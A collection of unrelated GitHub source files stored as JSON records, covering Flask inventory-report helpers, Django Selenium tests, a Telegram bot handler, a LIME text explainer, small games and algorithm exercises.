{\"total_sales\": total_sales, \"total_quantity\": total_quantity}\n\n\ndef report_compute_stocks_for_product(product_id):\n product_stock = Stock.query.filter_by(product_id=product_id)\n total_stock = 0\n total_quantity = 0\n for stock in product_stock:\n total_stock += stock.buying_price\n total_quantity += stock.quantity\n return {\"total_stock\": total_stock, \"total_quantity\": total_quantity}\n\n\ndef next_page_items(items, items_per_page, page_number):\n # Beginning of next page\n np_start = (page_number - 1) * items_per_page\n\n # End of next page\n np_end = page_number * items_per_page\n\n # Total items\n total_item_count = len(items)\n\n # Total number of pages\n if total_item_count % items_per_page == 0:\n total_page_count = total_item_count // items_per_page\n else:\n total_page_count = total_item_count // items_per_page + 1\n\n detail = {\n \"start\": np_start,\n \"end\": np_end,\n \"total_item_count\": total_item_count,\n \"total_page_count\": total_page_count,\n }\n\n try:\n detail[\"page_items\"] = items[detail[\"start\"] : detail[\"end\"]]\n return detail\n except:\n detail[\"page_items\"] = items[items_per_page * page_number :]\n return detail\n\n# TODO: Finish the implementation\ndef get_top_customers(business_id):\n business_salelists = SaleList.query.filter_by(business_id=business_id)\n business_customer_json = list()\n Counter\n for salelist in business_salelists:\n if salelist.customer_name == \"None\" or salelist.customer_contact == \"None\":\n pass\n else:\n business_customer_json.append(\n {\n \"salelist_id\": salelist.id,\n \"customer_name\": salelist.customer_name,\n \"customer_contact\": salelist.customer_contact,\n }\n )\n# TODO: Fix serialization problem\ndef get_top_selling_products(business_id):\n # Get all business products\n business_products = Product.query.filter_by(business_id=business_id)\n \n # Business products info\n business_products_info = {}\n \n for product in business_products:\n sales_info = report_compute_sales_for_product(product_id=product.id)\n business_products_info[f\"{product.name}\"] = {\n \"total_sales_quantity\": dumps(sales_info[\"total_sales\"]),\n \"total_sales_money\": sales_info[\"total_quantity\"]\n }\n business_products_info = dict(business_products_info.items(),key=lambda x:x[1][\"total_sales_money\"],reverse=True)\n del business_products_info[\"key\"]\n del business_products_info[\"reverse\"]\n return business_products_info\n\n# TODO: Fix serialization problem\ndef get_products_low_on_stock(business_id):\n # Get all business products\n business_products = Product.query.filter_by(business_id=business_id)\n\n # Business products info\n business_products_info = {}\n\n for product in business_products:\n sales_info = report_compute_sales_for_product(product_id=product.id)\n stock_info = report_compute_stocks_for_product(product_id=product.id)\n business_products_info[f\"{product.name}\"] = {\n \"total_sales_quantity\": sales_info[\"total_quantity\"],\n \"total_stock_quantity\": stock_info[\"total_quantity\"],\n \"total_items_remaining\": dumps(stock_info[\"total_quantity\"] - sales_info[\"total_quantity\"])\n }\n\n business_products_info = dict(business_products_info.items(),key=lambda x:x[1][\"total_items_remaining\"])\n del business_products_info[\"key\"]\n return business_products_info\n","repo_name":"yeboah326/Garage97","sub_path":"sima_web_api/api/business/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"21118808364","text":"\"\"\"\nYou come across a dictionary of sorted words in a language you've never seen before.\nWrite a program that returns the correct order of letters in this language.\nFor example,\n given ['xww', 'wxyz', 'wxyw', 'ywx', 'ywz'],\n you should return ['x', 'z', 'w', 'y'].\n\"\"\"\nfrom typing import List\n\n\ndef get_characters(dictionary: List[str]) -> set:\n s = set()\n\n for word in dictionary:\n for char in word:\n s.add(char)\n\n return s\n\n\ndef dfs(graph: dict, src: str, visited: set, pool: List) -> List[str]:\n visited.add(src)\n\n for dst in graph[src]:\n if dst not in visited:\n pool = dfs(graph, dst, visited, pool)\n\n pool.append(src)\n return pool\n\n\ndef topological_sorting(graph: dict) -> List[str]:\n visited = set()\n pool = []\n\n for src in graph.keys():\n if src not in visited:\n pool = dfs(graph, src, visited, pool)\n\n return pool[::-1]\n\n\ndef order_of_letters(dictionary: List[str]) -> List[str]:\n characters = get_characters(dictionary)\n index = 0\n size = len(dictionary)\n\n hash_map = {}\n\n for char in characters:\n hash_map[char] = []\n\n while index < size - 1:\n for c1, c2 in zip(dictionary[index], dictionary[index + 1]):\n if c1 != c2:\n hash_map[c1].append(c2)\n break\n\n index += 1\n\n # topological sort\n return topological_sorting(hash_map)\n\n\nif __name__ == \"__main__\":\n assert order_of_letters([\"xww\", \"wxyz\", \"wxyw\", \"ywx\", \"ywz\"]) == [\"x\", \"z\", \"w\", \"y\"]\n assert order_of_letters([\"baa\", \"abcd\", \"abca\", \"cab\", \"cad\"]) == [\"b\", \"d\", \"a\", \"c\"]\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_201_to_300/226.py","file_name":"226.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8464301149","text":"import gym\nimport gym_minigrid\nimport dreamerv2.api as dv2\n\nconfig = dv2.defaults.update({\n 'logdir': '~/logdir/minigrid',\n 'log_every': 1e3,\n 'train_every': 10,\n 'prefill': 1e5,\n 'actor_ent': 3e-3,\n 'loss_scales.kl': 1.0,\n 'discount': 0.99,\n}).parse_flags()\n\nenv = gym.make('MiniGrid-DoorKey-6x6-v0')\nenv = gym_minigrid.wrappers.RGBImgPartialObsWrapper(env)\ndv2.train(env, config)\n","repo_name":"danijar/dreamerv2","sub_path":"examples/minigrid.py","file_name":"minigrid.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":801,"dataset":"github-code","pt":"44"} +{"seq_id":"73666854214","text":"from ..models import *\nfrom django.contrib.auth.models import User\nfrom selenium.webdriver.support.wait import WebDriverWait\ntimeout = 15\nimport pytz\nimport datetime\nfrom datetime import date\nfrom .selenium_test import SeleniumTest\nfrom django.conf import settings\nimport re\n\n\nclass StudentSeleniumTest(SeleniumTest):\n\n @classmethod\n def setUpClass(cls):\n super(StudentSeleniumTest, cls).setUpClass()\n\n\n def setUp(self):\n self.password = \"stud_password\"\n self.ccid = \"student\"\n self.first_name = \"A\"\n self.last_name = \"Student\"\n self.email = \"student@csjawards.ca\"\n self.lang_pref = \"en\"\n self.student_id = \"123456789\"\n self.program_name = \"A Program Name\"\n self.program_code = \"A Code\"\n self.year_name = \"Year 1\"\n self.program = Program.objects.create(name=self.program_name, code=self.program_code)\n self.year = YearOfStudy.objects.create(year=self.year_name)\n\n\n self.user = User.objects.create_user(username=self.ccid,\n password=self.password)\n\n self.student = Student.objects.create(ccid=self.ccid, first_name=self.first_name,\n last_name=self.last_name, email=self.email,\n user=self.user, lang_pref=self.lang_pref,\n student_id=self.student_id, program = self.program,\n year = self.year)\n\n self.user = User.objects.get(username=self.ccid)\n\n self.selenium.get('%s%s' % (self.live_server_url, '/login/'))\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_id(\"id_username\"))\n\n username = self.selenium.find_element_by_id(\"id_username\")\n username.send_keys(self.ccid)\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_id(\"id_password\"))\n\n password =self.selenium.find_element_by_id(\"id_password\")\n password.send_keys(self.password)\n\n save = self.selenium.find_element_by_css_selector(\"button.btn:nth-child(5)\")\n save.click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name('body'))\n\n\n def tearDown(self):\n self.selenium.get('%s%s' % (self.live_server_url, '/logout/'))\n\n\n\n def test_student_apply(self):\n self.award_name = \"An Award Name\"\n self.award_description = \"An Award Description\"\n self.award_value = \"An Award Value\"\n self.award_start_date = date(date.today().year, 1, 1)\n self.award_end_date = date(date.today().year, 12, 31)\n self.award_documents_needed = True\n self.award_is_active = True\n\n\n self.award = Award.objects.create(name=self.award_name, description=self.award_description, value=self.award_value,\n start_date=self.award_start_date, end_date=self.award_end_date,\n documents_needed=self.award_documents_needed, is_active=self.award_is_active)\n\n self.award.programs.add(self.program)\n self.award.years_of_study.add(self.year)\n\n award = Award.objects.get(name = self.award_name)\n\n\n self.selenium.get('%s%s' % (self.live_server_url, '/awards/'))\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n\n\n self.selenium.find_element_by_link_text(\"Apply\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"id_application_file\").send_keys(settings.TEST_FILE_ROOT+'\\selenium_test_apply.pdf')\n self.selenium.find_element_by_name(\"_save\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n\n application = Application.objects.get(student = self.student, award = self.award)\n\n self.assertFalse(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"In-Progress Awards\").click()\n self.selenium.find_element_by_link_text(\"Edit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_name(\"_delete\").click()\n self.selenium.switch_to_alert().accept()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.current_url == (\"%s%s\" % (self.live_server_url, '/awards/')))\n\n\n with self.assertRaises(Application.DoesNotExist):\n application = Application.objects.get(student=self.student, award=self.award)\n\n self.selenium.find_element_by_link_text(\"Apply\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"id_application_file\").send_keys(settings.TEST_FILE_ROOT + '\\selenium_test_apply.pdf')\n self.selenium.find_element_by_name(\"_submit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertTrue(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"Submitted Awards\").click()\n self.selenium.find_element_by_link_text(\"Unsubmit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertFalse(application.is_submitted)\n\n self.selenium.find_element_by_link_text(\"In-Progress Awards\").click()\n self.selenium.find_element_by_link_text(\"Edit\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n self.selenium.find_element_by_id(\"application_file-clear_id\").click()\n self.selenium.find_element_by_name(\"_save\").click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n application = Application.objects.get(student=self.student, award=self.award)\n self.assertFalse(application.application_file)\n\n\n\n def test_student_history(self):\n self.award_name = \"An Award Name\"\n self.award_description = \"An Award Description\"\n self.award_value = \"An Award Value\"\n self.award_start_date = datetime.datetime.now(pytz.timezone('America/Vancouver'))\n self.award_end_date = datetime.datetime.now(pytz.timezone('America/Edmonton'))\n self.award_documents_needed = False\n self.award_is_active = True\n\n self.award = Award.objects.create(name=self.award_name, description=self.award_description,\n value=self.award_value,\n start_date=self.award_start_date, end_date=self.award_end_date,\n documents_needed=self.award_documents_needed, is_active=self.award_is_active)\n\n self.award.programs.add(self.program)\n self.award.years_of_study.add(self.year)\n\n self.application = Application.objects.create(student = self.student, award = self.award, is_submitted=True)\n\n self.selenium.get('%s%s' % (self.live_server_url, '/history/'))\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name(\"body\"))\n\n src = self.selenium.page_source\n self.assertTrue(self.award_name in src)\n self.assertTrue(self.award_description in src)\n self.assertTrue(self.award_value in src)","repo_name":"CMPUT401FSJ/FSJAwards","sub_path":"FSJ_django20_project/FSJ/tests/test_browser_student.py","file_name":"test_browser_student.py","file_ext":"py","file_size_in_byte":7981,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"34621298936","text":"from pyrogram import Client, Filters, StopPropagation, InlineKeyboardButton, InlineKeyboardMarkup\n\n\n@Client.on_message(Filters.command([\"start\"]), group=-2)\nasync def start(client, message):\n # return\n Lasiya = InlineKeyboardMarkup([\n \n [InlineKeyboardButton(\"Youtube ❤\", url=\"https://youtube.com/channel/UCvyQ9siIwXk0iGxxmmsNcZQ\")],\n [InlineKeyboardButton(\n \"Report Bugs 😊\", url=\"https://t.me/HACKING_GANG_299\")],\n [InlineKeyboardButton(\n \"Bot channel 🧪\",url=\"https://t.me/RoyalBotFamily\")]\n ])\n thumbnail_url = \"https://telegra.ph/file/69a96df53932f1cd2174f.jpg\"\n await message.reply_photo(thumbnail_url, caption=f\"Hi<b>{message.from_user.first_name}</b>\\n\\n<b>Instructions for use..</b>\\n• Type /help to get instructins.\\n• .\\n───── ❝ **Lets Play** ❞ ─────\\n \", reply_markup=Lasiya)\n raise StopPropagation\n","repo_name":"RBBOTDEVELOPER/YT-01","sub_path":"plugins/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"19382080584","text":"# define a module for reading the constraint configuration file\nimport sys, os\n\nclass map_class(dict):\n\tdef __getattr__(self, attr):\n\t\treturn self.__getitem__(attr)\n\t\t#try:\n\t\t#\treturn self.__getitem__(attr)\n\t\t#except KeyError:\n\t\t#\treturn AttributeError\n\tdef __setattr__(self, name, attr):\n\t\tif name in self:\n\t\t\tdict.__setattr__(self, name, attr)\n\t\telse:\n\t\t\tself.__setitem__(name, attr)\n\n\ndef print_error(message):\n\tsys.stderr.write(\"Error: \"+message+\"\\n\")\n\tsys.stderr.flush()\n\ndef error_out(message, rcode):\n\tprint_error(message)\n\tsys.exit(rcode)\n\n# conf file syntax\n# map of maps, with constraint attributes in subsidiary map\n# key for top level map is constraint name\n\n# constraint configuration (constraints.conf) file syntax:\n# ------------------------\n# empty lines and lines starting with # are ignored\n# section blocks begin with \"constraint=<name>\" and end when the \n# next section block is encountered.\n# single-line attributes are:\n# name=value\n# multi-line attributes are:\n# name=\"\"\"value line 1\n# value line 2, etc.\"\"\"\n\ndef read_config(config_path):\n\t# look in configuration directory\n\tinfo_file = os.path.basename(config_path)\n\ttry:\n\t\tfl = open(config_path)\n\texcept:\n\t\terror_out(\"Cannot open configuration file %s\" % config_path, 3)\n\n\tsections = {}\n\tsection_name = \"not found\"\n\tin_block = 0\n\tblock = \"\"\n\tline_no = 0\n\tfor line in fl.readlines():\n\t\tline_no += 1\n\t\tif line.startswith(\"#\"):\n\t\t\tcontinue\n\t\tif in_block:\n\t\t\t# try to find end of block\n\t\t\tif line.rstrip().endswith('\"\"\"'):\n\t\t\t\t# remove quotes and end block\n\t\t\t\tline = line.rstrip()\n\t\t\t\tblock += line[:-3] + \"\\n\"\n\t\t\t\tsections[section_name][attr_name]= block\n\t\t\t\tin_block = 0\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tblock += line\n\t\t\t\tcontinue\n\n\t\t# 'constraint=' inside a block will be confusing to the user\n\t\t# but this code (above) ignores it\n\t\t# if we're outside a block, look for the start of a new constraint\n\t\tif line.startswith(\"constraint=\"):\n\t\t\tsection_name = line.split(\"=\")[1].strip()\n\t\t\t# start a new constraint map\n\t\t\tsections[section_name]=map_class()\n\t\t\tsections[section_name][\"constraint\"] = section_name\n\t\t\tsections[section_name][\"name\"] = section_name\n\t\t\tcontinue\n\n\t\t# OK, it's not a constraint, comment or middle of a block.\n\t\t# check if it's empty\n\t\tif not line.strip():\n\t\t\tcontinue\n\n\t\t# line better have an equals in it\n\t\t# (either single line name=value, or multi-line block start)\n\t\tif line.find(\"=\")==-1:\n\t\t\tprint_error(\"Syntax error in constraint info file %s: Expected '=' at line %d:\\n%s\" % (info_file, line_no, line))\n\t\t\tcontinue\n\t\t\n\t\t(attr_name, value) = line.split('=', 1)\n\t\tattr_name = attr_name.strip()\n\t\tvalue = value.strip()\n\t\tif value.find('\"\"\"')==-1:\n\t\t\t# this is a single-line, just record the attribute\n\t\t\tsections[section_name][attr_name] = value\n\t\telse:\n\t\t\t# this is the start of a multi-line block\n\t\t\tvstart = value.find('\"\"\"')\n\t\t\tblock = value[vstart+3:] + '\\n'\n\t\t\tin_block = 1\n\t\t\t# sanity check for block terminator on same line\n\t\t\t# if triple-quotes end this line, then block begins\n\t\t\t# and ends on the same line.\n\t\t\tif block.endswith('\"\"\"\\n'):\n\t\t\t\tblock = block[:-3]\n\t\t\t\tsections[section_name][attr_name] = block\n\t\t\t\tin_block = 0\n\n\n\t# check to see if any attributes are \"homeless\"\n\tif sections.has_key(\"not found\"):\n\t\tprint_error(\"Some attributes found outside of constraint blocks in file %s\" % info_file)\n\t\t\n\t#print \"constraints=\", sections\n\treturn sections\n","repo_name":"tbird20d/auto-reduce","sub_path":"programs/constraint_config.py","file_name":"constraint_config.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"5912981413","text":"import warnings\nimport numpy as np\nfrom lime import lime_text\nfrom typing import Callable\n\nfrom ...base import ExplainerBase\nfrom ....data.text import Text\nfrom ....explanations.text.word_importance import WordImportance\n\n\nclass LimeText(ExplainerBase):\n \"\"\"\n The LIME explainer for text classification.\n If using this explainer, please cite the original work: https://github.com/marcotcr/lime.\n This explainer only supports text classification tasks.\n \"\"\"\n\n explanation_type = \"local\"\n alias = [\"lime\"]\n\n def __init__(self, predict_function: Callable, mode: str = \"classification\", **kwargs):\n \"\"\"\n :param predict_function: The prediction function corresponding to the machine learning\n model to explain. When the task is `classification`, the outputs of the ``predict_function``\n are the class probabilities.\n :param mode: The task type can be `classification` only.\n :param kwargs: Additional parameters for `lime_text.LimeTextExplainer`. Please refer to the doc of\n `lime_text.LimeTextExplainer`.\n \"\"\"\n super().__init__()\n assert mode == \"classification\", \"Only supports classification tasks for text data.\"\n if \"training_data\" in kwargs:\n kwargs.pop(\"training_data\")\n self.mode = mode\n self.predict_fn = lambda x: predict_function(Text(x))\n self.explainer = lime_text.LimeTextExplainer(**kwargs)\n\n def explain(self, X: Text, y=None, **kwargs) -> WordImportance:\n \"\"\"\n Generates the word/token-importance explanations for the input instances.\n\n :param X: A batch of input instances.\n :param y: A batch of labels to explain. For classification, the top predicted label\n of each input instance will be explained when `y = None`.\n :param kwargs: Additional parameters for `LimeTextExplainer.explain_instance`.\n :return: The explanations for all the input instances.\n \"\"\"\n if \"labels\" in kwargs:\n warnings.warn(\n \"Argument `labels` is not used, \"\n \"please use `y` instead of `labels` to specify \"\n \"the labels you want to explain.\"\n )\n kwargs.pop(\"labels\")\n if \"top_labels\" in kwargs:\n warnings.warn(\"Argument `top_labels` is not used.\")\n kwargs.pop(\"top_labels\")\n explanations = WordImportance(mode=self.mode)\n\n if y is not None:\n if type(y) == int:\n y = [y for _ in range(len(X))]\n else:\n assert len(X) == len(y), (\n f\"Parameter `y` is a {type(y)}, the length of y \"\n f\"should be the same as the number of instances in X.\"\n )\n else:\n scores = self.predict_fn(X.to_str())\n y = np.argmax(scores, axis=1).astype(int)\n\n for i in range(len(X)):\n e = self.explainer.explain_instance(X[i].to_str(), classifier_fn=self.predict_fn, labels=(y[i],), **kwargs)\n exp = e.as_list(label=y[i])\n explanations.add(\n instance=X[i].to_str(),\n target_label=y[i] if y is not None else None,\n tokens=[e[0] for e in exp],\n importance_scores=[e[1] for e in exp],\n )\n return explanations\n","repo_name":"salesforce/OmniXAI","sub_path":"omnixai/explainers/nlp/agnostic/lime.py","file_name":"lime.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":730,"dataset":"github-code","pt":"44"} +{"seq_id":"27502189732","text":"import os, time, random\n\ntrumps = {}\ntrumps[\"Cirno\"] = {\"Intelligence\": 0.9, \"Speed\": 99, \"Attack\": 9, \"Cool Score\": 999}\ntrumps[\"Reimu\"] = {\n \"Intelligence\": 200,\n \"Speed\": 80,\n \"Attack\": 50,\n \"Cool Score\": 100,\n}\ntrumps[\"Marisa\"] = {\n \"Intelligence\": 150,\n \"Speed\": 60,\n \"Attack\": 120,\n \"Cool Score\": 130,\n}\ntrumps[\"Remilia\"] = {\n \"Intelligence\": 250,\n \"Speed\": 30,\n \"Attack\": 200,\n \"Cool Score\": 500,\n}\n\nwhile True:\n print(\"TOP TRUMPS\")\n print()\n print(\"Characters\")\n print()\n for key in trumps:\n print(key)\n user = input(\"Pick your character\\n> \")\n print()\n comp = random.choice(list(trumps.keys()))\n print(\"Computer has picked\", comp)\n print()\n\n print(\"Choose your stat: Intelligence, Speed, Attack & Cool Score\")\n\n answer = input(\"> \")\n\n print(f\"{user}: {trumps[user][answer]}\")\n print(f\"{comp}: {trumps[comp][answer]}\")\n\n if trumps[user][answer] > trumps[comp][answer]:\n print(user, \"wins\")\n elif trumps[user][answer] < trumps[comp][answer]:\n print(comp, \"wins\")\n else:\n print(\"Draw\")\n\n time.sleep(2)\n os.system(\"clear\")\n","repo_name":"UnnaturalChill/100-day-python-challenge","sub_path":"Days41-50/Day47.py","file_name":"Day47.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13932490115","text":"from tabnanny import check\n\n\ndef check_palindrome(S):\n n = len(S)\n count = 0\n for i in range(n//2):\n\n if(x[i] == x[n - i - 1]):\n count = count + 1\n else:\n return False\n if (count == n//2):\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n x = input('Enter a string')\n if(check_palindrome(x)):\n print('The string is a palindrome')\n else:\n print('The string is not a palindrome')\n","repo_name":"kaushikilango/OOP-Py","sub_path":"bst.py","file_name":"bst.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"17962470567","text":"# -*- coding: utf-8 -*-\n\"\"\"\n假设按照升序排序的数组在预先未知的某个点上进行了旋转。\n\n( 例如，数组 [0,1,2,4,5,6,7] 可能变为 [4,5,6,7,0,1,2] )。\n\n搜索一个给定的目标值，如果数组中存在这个目标值，则返回它的索引，否则返回 -1 。\n\n你可以假设数组中不存在重复的元素。\n\n你的算法时间复杂度必须是 O(log n) 级别。\n\n示例 1:\n\n输入: nums = [4,5,6,7,0,1,2], target = 0\n输出: 4\n\n示例 2:\n\n输入: nums = [4,5,6,7,0,1,2], target = 3\n输出: -1\n\n思路：二分\n@author: xiaozuo\n\"\"\"\n\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n \"\"\"搜素排序旋转数组\"\"\"\n if not nums: return -1\n\n def half_search(nums, target, l, r):\n \"\"\"二分查找\"\"\"\n mid = (l + r) // 2\n if l > r: return -1\n if nums[mid] == target: return mid\n # 0-mid无旋转\n # 旋转位置到-mid之间 0到旋转位置之间\n if (nums[0] <= target <= nums[mid]) or (target <= nums[mid] < nums[0]) or (nums[mid] < nums[0] <= target):\n return half_search(nums, target, l, mid - 1)\n else:\n return half_search(nums, target, mid + 1, r)\n\n return half_search(nums, target, 0, len(nums) - 1)\n\nif __name__ == '__main__':\n sol = Solution()\n nums = [4,5,6,7,0,1,2,]\n target = 0\n print(sol.search(nums, target))","repo_name":"xiaozuo7/algorithm_python","sub_path":"leetcode_搜索排序旋转数组.py","file_name":"leetcode_搜索排序旋转数组.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33765957033","text":"#!/usr/bin/env python3\nimport sys\n\nMOD = 1000000007 # type: int\n\n\ndef solve(n: int, a: int, b: int):\n # 1本選ぶ時→nC1、2本選ぶ時→nC2、...、n本選ぶ時→nCn\n # 二項定理の和の公式より、上記の和はnC1+nC2+...+nCn=2**n\n # ans=2**n-1-nCa-nCb # 「-1」は、0本選ぶ場合を除外している。(問題の制限がN>=1なので)\n # 数列nCaの総和 = ΣnCa = n/1 + n(n-1)/2*1 + n(n-1)(n-2)/3*2*1 + ... + n(n-1)(n-2)...(n-a+1)/a!\n # ΣnCa = Π(n-a)/a! # Π(パイ)は総乗(数列を掛け算した合計)のこと。Σ(シグマ)は総和。\n # 2**nは普通に**で求めるとTLEする。python3ならpow()を使用することでO(logn)で計算できる。「繰り返し二乗法」という。\n # 繰返し二乗法・・・f(x) = 2**x、f(2x) = f(x)**2、f(2x+1) = f(x)**2 * 2、f(N) = f(2/N)**2\n nCa = comb(n, a)\n nCb = comb(n, b)\n ans = (pow(2, n, MOD) - 1 - nCa - nCb) % MOD\n print(int(ans))\n\n\ndef comb(n, a):\n x = y = 1 # xが分子、yが分母\n for i in range(a):\n x *= n - i\n x %= MOD\n y *= i + 1\n y %= MOD\n # 割り算はコストが高いので,x/yするとTLEする。\n # mod pの結果が素数の場合は、フェルマーの小定理でx≡x**(p) mod p (pを法として合同)となる。\n # ここから逆元(逆数)を求めると、1/x = x**(p)/x**2 = x**(p-2)となる。(なお、合同式で両辺を割る事が出来るのは、xとpが互いに素の場合のみ)\n return x * pow(y, MOD-2, MOD) % MOD\n\n\n# Generated by 1.1.6 https://github.com/kyuridenamida/atcoder-tools (tips: You use the default template now. You can remove this line by using your custom template)\ndef main():\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n n = int(next(tokens)) # type: int\n a = int(next(tokens)) # type: int\n b = int(next(tokens)) # type: int\n solve(n, a, b)\n\nif __name__ == '__main__':\n main()\n","repo_name":"sunbear0226/atcoder-workspace","sub_path":"abc/abc156/D/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28335815526","text":"field = [['-']*3 for _ in range(3)]\n\ndef func_field(f):\n print(' 0 1 2')\n for i in range(len(field)):\n print(str(i), *field[i])\n\n#опрос\ndef move(f):\n while True:\n place = input(f'Ходит {user} .Введите координаты: ').split()\n if len(place) !=2:\n print('Введите две координаты через пробел')\n continue\n if not(place[0].isdigit() and place[1].isdigit()):\n print('Введите числа')\n continue\n a,b = map(int, place)\n if not(a >= 0 and b >= 0 and b < 3):\n print('Введите числа от 0 до 2')\n continue\n if f[a][b] != '-':\n print('Клетка занята')\n continue \n break\n return a,b\n \n#результаты\ndef win_position(f, user):\n f_list = []\n for l in f:\n f_list += l\n positions = [[0, 1, 2],[3, 4, 5], [6, 7, 8],[0, 3, 6],[1, 4, 7],[2, 5, 8],[0, 4, 8],[2, 4, 6]]\n index_u = set([i for i, x in enumerate(f_list) if x == user])\n for p in positions:\n if len(index_u.intersection(set(p)))==3:\n return True\n return False\n\n#вывод поля\ncount = 0\nwhile True: \n func_field(field) \n if count%2==0:\n user = 'х'\n else:\n user = 'o'\n a,b = move(field)\n field[a][b] = user\n if count == 9:\n print('Ничья')\n if win_position(field, user):\n print(f\"Выйграл {user}\")\n func_field(field)\n break \n count+=1\n \n\n\n\n\n\n","repo_name":"Tati23191/Tic-tac-toe-Game","sub_path":"Tic-Tac-Toe Game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33521021778","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 7 16:30:32 2020\r\n\r\n@author: fhwx\r\n\"\"\"\r\n#Dinero.Txt\r\nP = open(\"DineroHoy.txt\",\"w\")\r\nP.write(\"Dinero \\n\")\r\nP.close()\r\n#VendidoHoy.txt ([Hora] :[Producto vendido] x [cantidad])\r\nP = open(\"VendidoHoy.txt\",\"w\")\r\nP.write(\"Productos vendidos \\n\")\r\nP.close()\r\n#Cambios Stock ([Hora] :[Producto Antiguo] -> [NuevoProducto])\r\nP = open(\"CambiosStock.txt\",\"w\")\r\nP.write(\"Cambios Stock \\n\")\r\nP.close()\r\n#Ganancias\r\nP = open(\"Ganancias.txt\",\"w\")\r\nP.write(\"Ganancias \\n\")\r\nP.close()\r\n#Ediciones Precios\r\nP = open(\"EdicionesPrecios.txt\",\"w\")\r\nP.write(\"Ediciones Precios \\n\")\r\nP.close()\r\n","repo_name":"Khittyroar/Proyecto","sub_path":"Txt´s.py","file_name":"Txt´s.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1905166726","text":"import freezegun\n\nfrom odoo import fields\nfrom odoo.tests.common import TransactionCase\n\n\nclass TestMedicalEncounter(TransactionCase):\n def setUp(self):\n super(TestMedicalEncounter, self).setUp()\n self.patient = self.env[\"medical.patient\"].create({\"name\": \"Patient\"})\n self.specialty_cardiology = self.env[\"medical.specialty\"].create(\n {\"name\": \"Cardiology\", \"description\": \"Cardiology\"}\n )\n self.specialty_gynecology = self.env[\"medical.specialty\"].create(\n {\"name\": \"Gynecology\", \"description\": \"Gynecology\"}\n )\n\n def test_create_impression_from_encounter_with_old_encounter(self):\n with freezegun.freeze_time(\"2022-01-01\"):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n with freezegun.freeze_time(\"2022-02-01\"):\n wizard = self.env[\"create.impression.from.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n wizard._onchange_encounter_date()\n self.assertTrue(wizard.show_encounter_warning)\n action = wizard.generate()\n self.assertEqual(\n \"medical.clinical.impression\", action.get(\"res_model\")\n )\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter.id\n )\n self.assertEqual(\n action[\"context\"][\"default_specialty_id\"],\n self.specialty_cardiology.id,\n )\n\n def test_view_clinical_impressions_from_encounter(self):\n self.encounter 